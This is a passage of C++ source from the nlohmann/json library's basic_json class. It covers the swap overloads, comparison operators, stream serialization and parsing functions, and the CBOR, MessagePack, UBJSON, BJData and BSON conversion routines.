swap(array_t&) with \", type_name()), this));\n        }\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(object_t& other) // NOLINT(bugprone-exception-escape,cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n    {\n        // swap only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            using std::swap;\n            swap(*(m_data.m_value.object), other);\n        }\n        else\n        {\n            JSON_THROW(type_error::create(310, detail::concat(\"cannot use swap(object_t&) with \", type_name()), this));\n        }\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(string_t& other) // NOLINT(bugprone-exception-escape,cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n    {\n        // swap only works for strings\n        if (JSON_HEDLEY_LIKELY(is_string()))\n        {\n            using std::swap;\n            swap(*(m_data.m_value.string), other);\n        }\n        else\n        {\n            JSON_THROW(type_error::create(310, detail::concat(\"cannot use swap(string_t&) with \", type_name()), this));\n        }\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(binary_t& other) // NOLINT(bugprone-exception-escape,cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n    {\n        // swap only works for strings\n        if (JSON_HEDLEY_LIKELY(is_binary()))\n        {\n            using std::swap;\n            swap(*(m_data.m_value.binary), other);\n        }\n        else\n        {\n            JSON_THROW(type_error::create(310, detail::concat(\"cannot use swap(binary_t&) with \", type_name()), this));\n        }\n    }\n\n    /// @brief exchanges the values\n    /// @sa https://json.nlohmann.me/api/basic_json/swap/\n    void swap(typename binary_t::container_type& other) // NOLINT(bugprone-exception-escape)\n    {\n        // swap only works for strings\n        if (JSON_HEDLEY_LIKELY(is_binary()))\n        {\n            using std::swap;\n            swap(*(m_data.m_value.binary), other);\n        }\n        else\n        {\n            JSON_THROW(type_error::create(310, detail::concat(\"cannot use swap(binary_t::container_type&) with \", type_name()), this));\n        }\n    }\n\n    /// @}\n\n    //////////////////////////////////////////\n    // lexicographical comparison operators //\n    //////////////////////////////////////////\n\n    /// @name lexicographical comparison operators\n    /// @{\n\n    // note parentheses around operands are necessary; see\n    // https://github.com/nlohmann/json/issues/1530\n#define JSON_IMPLEMENT_OPERATOR(op, null_result, unordered_result, default_result)                       \\\n    const auto lhs_type = lhs.type();                                                                    \\\n    const auto rhs_type = rhs.type();                                                                    \\\n    \\\n    if (lhs_type == rhs_type) /* NOLINT(readability/braces) */                                           \\\n    {                                                                                                    \\\n        switch (lhs_type)                                                                                \\\n        {                                                                                                \\\n            case value_t::array:                                                                         \\\n                return (*lhs.m_data.m_value.array) op (*rhs.m_data.m_value.array);                                     \\\n                \\\n            case value_t::object:                                                                        \\\n                return (*lhs.m_data.m_value.object) op (*rhs.m_data.m_value.object);                                   \\\n                \\\n            case value_t::null:                                                                          \\\n                return (null_result);                                                                    \\\n                \\\n            case value_t::string:                                                                        \\\n                return (*lhs.m_data.m_value.string) op (*rhs.m_data.m_value.string);                                   \\\n                \\\n            case value_t::boolean:                                                                       \\\n                return (lhs.m_data.m_value.boolean) op (rhs.m_data.m_value.boolean);                                   \\\n                \\\n            case value_t::number_integer:                                                                \\\n                return (lhs.m_data.m_value.number_integer) op (rhs.m_data.m_value.number_integer);                     \\\n                \\\n            case value_t::number_unsigned:                                                               \\\n                return (lhs.m_data.m_value.number_unsigned) op (rhs.m_data.m_value.number_unsigned);                   \\\n                \\\n            case value_t::number_float:                                                                  \\\n                return (lhs.m_data.m_value.number_float) op (rhs.m_data.m_value.number_float);                         \\\n                \\\n            case value_t::binary:                                                                        \\\n                return (*lhs.m_data.m_value.binary) op (*rhs.m_data.m_value.binary);                                   \\\n                \\\n            case value_t::discarded:                                                                     \\\n            default:                                                                                     \\\n                return (unordered_result);                                                               \\\n        }                                                                                                \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_float)                   \\\n    {                                                                                                    \\\n        return static_cast<number_float_t>(lhs.m_data.m_value.number_integer) op rhs.m_data.m_value.number_float;      \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_float && rhs_type == value_t::number_integer)                   \\\n    {                                                                                                    \\\n        return lhs.m_data.m_value.number_float op static_cast<number_float_t>(rhs.m_data.m_value.number_integer);      \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_float)                  \\\n    {                                                                                                    \\\n        return static_cast<number_float_t>(lhs.m_data.m_value.number_unsigned) op rhs.m_data.m_value.number_float;     \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_float && rhs_type == value_t::number_unsigned)                  \\\n    {                                                                                                    \\\n        return lhs.m_data.m_value.number_float op static_cast<number_float_t>(rhs.m_data.m_value.number_unsigned);     \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_integer)                \\\n    {                                                                                                    \\\n        return static_cast<number_integer_t>(lhs.m_data.m_value.number_unsigned) op rhs.m_data.m_value.number_integer; \\\n    }                                                                                                    \\\n    else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_unsigned)                \\\n    {                                                                                                    \\\n        return lhs.m_data.m_value.number_integer op static_cast<number_integer_t>(rhs.m_data.m_value.number_unsigned); \\\n    }                                                                                                    \\\n    else if(compares_unordered(lhs, rhs))\\\n    {\\\n        return (unordered_result);\\\n    }\\\n    \\\n    return (default_result);\n\nJSON_PRIVATE_UNLESS_TESTED:\n    // returns true if:\n    // - any operand is NaN and the other operand is of number type\n    // - any operand is discarded\n    // in legacy mode, discarded values are considered ordered if\n    // an operation is computed as an odd number of inverses of others\n    static bool compares_unordered(const_reference lhs, const_reference rhs, bool inverse = false) noexcept\n    {\n        if ((lhs.is_number_float() && std::isnan(lhs.m_data.m_value.number_float) && rhs.is_number())\n            || (rhs.is_number_float() && std::isnan(rhs.m_data.m_value.number_float) && lhs.is_number()))\n        {\n            return true;\n        }\n#if JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON\n        return (lhs.is_discarded() || rhs.is_discarded()) && !inverse;\n#else\n        static_cast<void>(inverse);\n        return lhs.is_discarded() || rhs.is_discarded();\n#endif\n    }\n\nprivate:\n    bool compares_unordered(const_reference rhs, bool inverse = false) const noexcept\n    {\n        return compares_unordered(*this, rhs, inverse);\n    }\n\npublic:\n#if JSON_HAS_THREE_WAY_COMPARISON\n    /// @brief comparison: equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_eq/\n    bool operator==(const_reference rhs) const noexcept\n    {\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#endif\n        const_reference lhs = *this;\n        JSON_IMPLEMENT_OPERATOR(== , true, false, false)\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n    }\n\n    /// @brief comparison: equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_eq/\n    template<typename ScalarType>\n        requires std::is_scalar_v<ScalarType>\n    bool operator==(ScalarType rhs) const noexcept\n    {\n        return *this == basic_json(rhs);\n    }\n\n    /// @brief comparison: not equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ne/\n    bool operator!=(const_reference rhs) const noexcept\n    {\n        if (compares_unordered(rhs, true))\n        {\n            return false;\n        }\n        return !operator==(rhs);\n    }\n\n    /// @brief comparison: 3-way\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_spaceship/\n    std::partial_ordering operator<=>(const_reference rhs) const noexcept // *NOPAD*\n    {\n        const_reference lhs = *this;\n        // default_result is used if we cannot compare values. In that case,\n        // we compare types.\n        JSON_IMPLEMENT_OPERATOR(<=> , // *NOPAD*\n            std::partial_ordering::equivalent,\n            std::partial_ordering::unordered,\n            lhs_type <=> rhs_type) // *NOPAD*\n    }\n\n    /// @brief comparison: 3-way\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_spaceship/\n    template<typename ScalarType>\n        requires std::is_scalar_v<ScalarType>\n    std::partial_ordering operator<=>(ScalarType rhs) const noexcept // *NOPAD*\n    {\n        return *this <=> basic_json(rhs); // *NOPAD*\n    }\n\n#if JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON\n    // all operators that are computed as an odd number of inverses of others\n    // need to be overloaded to emulate the legacy comparison behavior\n\n    /// @brief comparison: less than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_le/\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, undef JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON)\n        bool operator<=(const_reference rhs) const noexcept\n    {\n        if (compares_unordered(rhs, true))\n        {\n            return false;\n        }\n        return !(rhs < *this);\n    }\n\n    /// @brief comparison: less than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_le/\n    template<typename ScalarType>\n        requires std::is_scalar_v<ScalarType>\n    bool operator<=(ScalarType rhs) const noexcept\n    {\n        return *this <= basic_json(rhs);\n    }\n\n    /// @brief comparison: greater than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ge/\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, undef JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON)\n        bool operator>=(const_reference rhs) const noexcept\n    {\n        if (compares_unordered(rhs, true))\n        {\n            return false;\n        }\n        return !(*this < rhs);\n    }\n\n    /// @brief comparison: greater than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ge/\n    template<typename ScalarType>\n        requires std::is_scalar_v<ScalarType>\n    bool operator>=(ScalarType rhs) const noexcept\n    {\n        return *this >= basic_json(rhs);\n    }\n#endif\n#else\n    /// @brief comparison: equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_eq/\n    friend bool operator==(const_reference lhs, const_reference rhs) noexcept\n    {\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#endif\n        JSON_IMPLEMENT_OPERATOR(== , true, false, false)\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n    }\n\n    /// @brief comparison: equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_eq/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator==(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs == basic_json(rhs);\n    }\n\n    /// @brief comparison: equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_eq/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator==(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) == rhs;\n    }\n\n    /// @brief comparison: not equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ne/\n    friend bool operator!=(const_reference lhs, const_reference rhs) noexcept\n    {\n        if (compares_unordered(lhs, rhs, true))\n        {\n            return false;\n        }\n        return !(lhs == rhs);\n    }\n\n    /// @brief comparison: not equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ne/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator!=(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs != basic_json(rhs);\n    }\n\n    /// @brief comparison: not equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ne/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator!=(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) != rhs;\n    }\n\n    /// @brief comparison: less than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_lt/\n    friend bool operator<(const_reference lhs, const_reference rhs) noexcept\n    {\n        // default_result is used if we cannot compare values. In that case,\n        // we compare types. Note we have to call the operator explicitly,\n        // because MSVC has problems otherwise.\n        JSON_IMPLEMENT_OPERATOR(< , false, false, operator<(lhs_type, rhs_type))\n    }\n\n    /// @brief comparison: less than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_lt/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator<(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs < basic_json(rhs);\n    }\n\n    /// @brief comparison: less than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_lt/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator<(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) < rhs;\n    }\n\n    /// @brief comparison: less than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_le/\n    friend bool operator<=(const_reference lhs, const_reference rhs) noexcept\n    {\n        if (compares_unordered(lhs, rhs, true))\n        {\n            return false;\n        }\n        return !(rhs < lhs);\n    }\n\n    /// @brief comparison: less than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_le/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator<=(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs <= basic_json(rhs);\n    }\n\n    /// @brief comparison: less than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_le/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator<=(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) <= rhs;\n    }\n\n    /// @brief comparison: greater than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_gt/\n    friend bool operator>(const_reference lhs, const_reference rhs) noexcept\n    {\n        // double inverse\n        if (compares_unordered(lhs, rhs))\n        {\n            return false;\n        }\n        return !(lhs <= rhs);\n    }\n\n    /// @brief comparison: greater than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_gt/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator>(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs > basic_json(rhs);\n    }\n\n    /// @brief comparison: greater than\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_gt/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator>(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) > rhs;\n    }\n\n    /// @brief comparison: greater than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ge/\n    friend bool operator>=(const_reference lhs, const_reference rhs) noexcept\n    {\n        if (compares_unordered(lhs, rhs, true))\n        {\n            return false;\n        }\n        return !(lhs < rhs);\n    }\n\n    /// @brief comparison: greater than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ge/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator>=(const_reference lhs, ScalarType rhs) noexcept\n    {\n        return lhs >= basic_json(rhs);\n    }\n\n    /// @brief comparison: greater than or equal\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ge/\n    template<typename ScalarType, typename std::enable_if<\n        std::is_scalar<ScalarType>::value, int>::type = 0>\n    friend bool operator>=(ScalarType lhs, const_reference rhs) noexcept\n    {\n        return basic_json(lhs) >= rhs;\n    }\n#endif\n\n#undef JSON_IMPLEMENT_OPERATOR\n\n    /// @}\n\n    ///////////////////\n    // serialization //\n    ///////////////////\n\n    /// @name serialization\n    /// @{\n#ifndef JSON_NO_IO\n    /// @brief serialize to stream\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ltlt/\n    friend std::ostream& operator<<(std::ostream& o, const basic_json& j)\n    {\n        // read width member and use it as indentation parameter if nonzero\n        const bool pretty_print = o.width() > 0;\n        const auto indentation = pretty_print ? o.width() : 0;\n\n        // reset width to 0 for subsequent calls to this stream\n        o.width(0);\n\n        // do the actual serialization\n        serializer s(detail::output_adapter<char>(o), o.fill());\n        s.dump(j, pretty_print, false, static_cast<unsigned int>(indentation));\n        return o;\n    }\n\n    /// @brief serialize to stream\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_ltlt/\n    /// @deprecated This function is deprecated since 3.0.0 and will be removed in\n    ///             version 4.0.0 of the library. Please use\n    ///             operator<<(std::ostream&, const basic_json&) instead; that is,\n    ///             replace calls like `j >> o;` with `o << j;`.\n    JSON_HEDLEY_DEPRECATED_FOR(3.0.0, operator<<(std::ostream&, const basic_json&))\n        friend std::ostream& operator>>(const basic_json& j, std::ostream& o)\n    {\n        return o << j;\n    }\n#endif  // JSON_NO_IO\n    /// @}\n\n    /////////////////////\n    // deserialization //\n    /////////////////////\n\n    /// @name deserialization\n    /// @{\n\n    /// @brief deserialize from a compatible input\n    /// @sa https://json.nlohmann.me/api/basic_json/parse/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json parse(InputType&& i,\n            const parser_callback_t cb = nullptr,\n            const bool allow_exceptions = true,\n            const bool ignore_comments = false)\n    {\n        basic_json result;\n        parser(detail::input_adapter(std::forward<InputType>(i)), cb, allow_exceptions, ignore_comments).parse(true, result);\n        return result;\n    }\n\n    /// @brief deserialize from a pair of character iterators\n    /// @sa https://json.nlohmann.me/api/basic_json/parse/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json parse(IteratorType first,\n            IteratorType last,\n            const parser_callback_t cb = nullptr,\n            const bool allow_exceptions = true,\n            const bool ignore_comments = false)\n    {\n        basic_json result;\n        parser(detail::input_adapter(std::move(first), std::move(last)), cb, allow_exceptions, ignore_comments).parse(true, result);\n        return result;\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, parse(ptr, ptr + len))\n        static basic_json parse(detail::span_input_adapter&& i,\n            const parser_callback_t cb = nullptr,\n            const bool allow_exceptions = true,\n            const bool ignore_comments = false)\n    {\n        basic_json result;\n        parser(i.get(), cb, allow_exceptions, ignore_comments).parse(true, result);\n        return result;\n    }\n\n    /// @brief check if the input is valid JSON\n    /// @sa https://json.nlohmann.me/api/basic_json/accept/\n    template<typename InputType>\n    static bool accept(InputType&& i,\n        const bool ignore_comments = false)\n    {\n        return parser(detail::input_adapter(std::forward<InputType>(i)), nullptr, false, ignore_comments).accept(true);\n    }\n\n    /// @brief check if the input is valid JSON\n    /// @sa https://json.nlohmann.me/api/basic_json/accept/\n    template<typename IteratorType>\n    static bool accept(IteratorType first, IteratorType last,\n        const bool ignore_comments = false)\n    {\n        return parser(detail::input_adapter(std::move(first), std::move(last)), nullptr, false, ignore_comments).accept(true);\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, accept(ptr, ptr + len))\n        static bool accept(detail::span_input_adapter&& i,\n            const bool ignore_comments = false)\n    {\n        return parser(i.get(), nullptr, false, ignore_comments).accept(true);\n    }\n\n    /// @brief generate SAX events\n    /// @sa https://json.nlohmann.me/api/basic_json/sax_parse/\n    template <typename InputType, typename SAX>\n    JSON_HEDLEY_NON_NULL(2)\n        static bool sax_parse(InputType&& i, SAX* sax,\n            input_format_t format = input_format_t::json,\n            const bool strict = true,\n            const bool ignore_comments = false)\n    {\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        return format == input_format_t::json\n            ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict)\n            : detail::binary_reader<basic_json, decltype(ia), SAX>(std::move(ia), format).sax_parse(format, sax, strict);\n    }\n\n    /// @brief generate SAX events\n    /// @sa https://json.nlohmann.me/api/basic_json/sax_parse/\n    template<class IteratorType, class SAX>\n    JSON_HEDLEY_NON_NULL(3)\n        static bool sax_parse(IteratorType first, IteratorType last, SAX* sax,\n            input_format_t format = input_format_t::json,\n            const bool strict = true,\n            const bool ignore_comments = false)\n    {\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        return format == input_format_t::json\n            ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict)\n            : detail::binary_reader<basic_json, decltype(ia), SAX>(std::move(ia), format).sax_parse(format, sax, strict);\n    }\n\n    /// @brief generate SAX events\n    /// @sa https://json.nlohmann.me/api/basic_json/sax_parse/\n    /// @deprecated This function is deprecated since 3.8.0 and will be removed in\n    ///             version 4.0.0 of the library. Please use\n    ///             sax_parse(ptr, ptr + len) instead.\n    template <typename SAX>\n    JSON_HEDLEY_DEPRECATED_FOR(3.8.0, sax_parse(ptr, ptr + len, ...))\n        JSON_HEDLEY_NON_NULL(2)\n        static bool sax_parse(detail::span_input_adapter&& i, SAX* sax,\n            input_format_t format = input_format_t::json,\n            const bool strict = true,\n            const bool ignore_comments = false)\n    {\n        auto ia = i.get();\n        return format == input_format_t::json\n            // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n            ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict)\n            // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n            : detail::binary_reader<basic_json, decltype(ia), SAX>(std::move(ia), format).sax_parse(format, sax, strict);\n    }\n#ifndef JSON_NO_IO\n    /// @brief deserialize from stream\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_gtgt/\n    /// @deprecated This stream operator is deprecated since 3.0.0 and will be removed in\n    ///             version 4.0.0 of the library. Please use\n    ///             operator>>(std::istream&, basic_json&) instead; that is,\n    ///             replace calls like `j << i;` with `i >> j;`.\n    JSON_HEDLEY_DEPRECATED_FOR(3.0.0, operator>>(std::istream&, basic_json&))\n        friend std::istream& operator<<(basic_json& j, std::istream& i)\n    {\n        return operator>>(i, j);\n    }\n\n    /// @brief deserialize from stream\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_gtgt/\n    friend std::istream& operator>>(std::istream& i, basic_json& j)\n    {\n        parser(detail::input_adapter(i)).parse(false, j);\n        return i;\n    }\n#endif  // JSON_NO_IO\n    /// @}\n\n    ///////////////////////////\n    // convenience functions //\n    ///////////////////////////\n\n    /// @brief return the type as string\n    /// @sa https://json.nlohmann.me/api/basic_json/type_name/\n    JSON_HEDLEY_RETURNS_NON_NULL\n        const char* type_name() const noexcept\n    {\n        switch (m_data.m_type)\n        {\n        case value_t::null:\n            return \"null\";\n        case value_t::object:\n            return \"object\";\n        case value_t::array:\n            return \"array\";\n        case value_t::string:\n            return \"string\";\n        case value_t::boolean:\n            return \"boolean\";\n        case value_t::binary:\n            return \"binary\";\n        case value_t::discarded:\n            return \"discarded\";\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        default:\n            return \"number\";\n        }\n    }\n\nJSON_PRIVATE_UNLESS_TESTED:\n    //////////////////////\n    // member variables //\n    //////////////////////\n\n    struct data\n    {\n        /// the type of the current element\n        value_t m_type = value_t::null;\n\n        /// the value of the current element\n        json_value m_value = {};\n\n        data(const value_t v)\n            : m_type(v), m_value(v)\n        {\n        }\n\n        data(size_type cnt, const basic_json& val)\n            : m_type(value_t::array)\n        {\n            m_value.array = create<array_t>(cnt, val);\n        }\n\n        data() noexcept = default;\n        data(data&&) noexcept = default;\n        data(const data&) noexcept = delete;\n        data& operator=(data&&) noexcept = delete;\n        data& operator=(const data&) noexcept = delete;\n\n        ~data() noexcept\n        {\n            m_value.destroy(m_type);\n        }\n    };\n\n    data m_data = {};\n\n#if JSON_DIAGNOSTICS\n    /// a pointer to a parent value (for debugging purposes)\n    basic_json* m_parent = nullptr;\n#endif\n\n    //////////////////////////////////////////\n    // binary serialization/deserialization //\n    //////////////////////////////////////////\n\n    /// @name binary serialization/deserialization support\n    /// @{\n\npublic:\n    /// @brief create a CBOR serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_cbor/\n    static std::vector<std::uint8_t> to_cbor(const basic_json& j)\n    {\n        std::vector<std::uint8_t> result;\n        to_cbor(j, result);\n        return result;\n    }\n\n    /// @brief create a CBOR serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_cbor/\n    static void to_cbor(const basic_json& j, detail::output_adapter<std::uint8_t> o)\n    {\n        binary_writer<std::uint8_t>(o).write_cbor(j);\n    }\n\n    /// @brief create a CBOR serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_cbor/\n    static void to_cbor(const basic_json& j, detail::output_adapter<char> o)\n    {\n        binary_writer<char>(o).write_cbor(j);\n    }\n\n    /// @brief create a MessagePack serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_msgpack/\n    static std::vector<std::uint8_t> to_msgpack(const basic_json& j)\n    {\n        std::vector<std::uint8_t> result;\n        to_msgpack(j, result);\n        return result;\n    }\n\n    /// @brief create a MessagePack serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_msgpack/\n    static void to_msgpack(const basic_json& j, detail::output_adapter<std::uint8_t> o)\n    {\n        binary_writer<std::uint8_t>(o).write_msgpack(j);\n    }\n\n    /// @brief create a MessagePack serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_msgpack/\n    static void to_msgpack(const basic_json& j, detail::output_adapter<char> o)\n    {\n        binary_writer<char>(o).write_msgpack(j);\n    }\n\n    /// @brief create a UBJSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_ubjson/\n    static std::vector<std::uint8_t> to_ubjson(const basic_json& j,\n        const bool use_size = false,\n        const bool use_type = false)\n    {\n        std::vector<std::uint8_t> result;\n        to_ubjson(j, result, use_size, use_type);\n        return result;\n    }\n\n    /// @brief create a UBJSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_ubjson/\n    static void to_ubjson(const basic_json& j, detail::output_adapter<std::uint8_t> o,\n        const bool use_size = false, const bool use_type = false)\n    {\n        binary_writer<std::uint8_t>(o).write_ubjson(j, use_size, use_type);\n    }\n\n    /// @brief create a UBJSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_ubjson/\n    static void to_ubjson(const basic_json& j, detail::output_adapter<char> o,\n        const bool use_size = false, const bool use_type = false)\n    {\n        binary_writer<char>(o).write_ubjson(j, use_size, use_type);\n    }\n\n    /// @brief create a BJData serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bjdata/\n    static std::vector<std::uint8_t> to_bjdata(const basic_json& j,\n        const bool use_size = false,\n        const bool use_type = false)\n    {\n        std::vector<std::uint8_t> result;\n        to_bjdata(j, result, use_size, use_type);\n        return result;\n    }\n\n    /// @brief create a BJData serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bjdata/\n    static void to_bjdata(const basic_json& j, detail::output_adapter<std::uint8_t> o,\n        const bool use_size = false, const bool use_type = false)\n    {\n        binary_writer<std::uint8_t>(o).write_ubjson(j, use_size, use_type, true, true);\n    }\n\n    /// @brief create a BJData serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bjdata/\n    static void to_bjdata(const basic_json& j, detail::output_adapter<char> o,\n        const bool use_size = false, const bool use_type = false)\n    {\n        binary_writer<char>(o).write_ubjson(j, use_size, use_type, true, true);\n    }\n\n    /// @brief create a BSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bson/\n    static std::vector<std::uint8_t> to_bson(const basic_json& j)\n    {\n        std::vector<std::uint8_t> result;\n        to_bson(j, result);\n        return result;\n    }\n\n    /// @brief create a BSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bson/\n    static void to_bson(const basic_json& j, detail::output_adapter<std::uint8_t> o)\n    {\n        binary_writer<std::uint8_t>(o).write_bson(j);\n    }\n\n    /// @brief create a BSON serialization of a given JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/to_bson/\n    static void to_bson(const basic_json& j, detail::output_adapter<char> o)\n    {\n        binary_writer<char>(o).write_bson(j);\n    }\n\n    /// @brief create a JSON value from an input in CBOR format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_cbor/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_cbor(InputType&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true,\n            const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::cbor).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in CBOR format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_cbor/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_cbor(IteratorType first, IteratorType last,\n            const bool strict = true,\n            const bool allow_exceptions = true,\n            const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::cbor).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    template<typename T>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_cbor(ptr, ptr + len))\n        static basic_json from_cbor(const T* ptr, std::size_t len,\n            const bool strict = true,\n            const bool allow_exceptions = true,\n            const 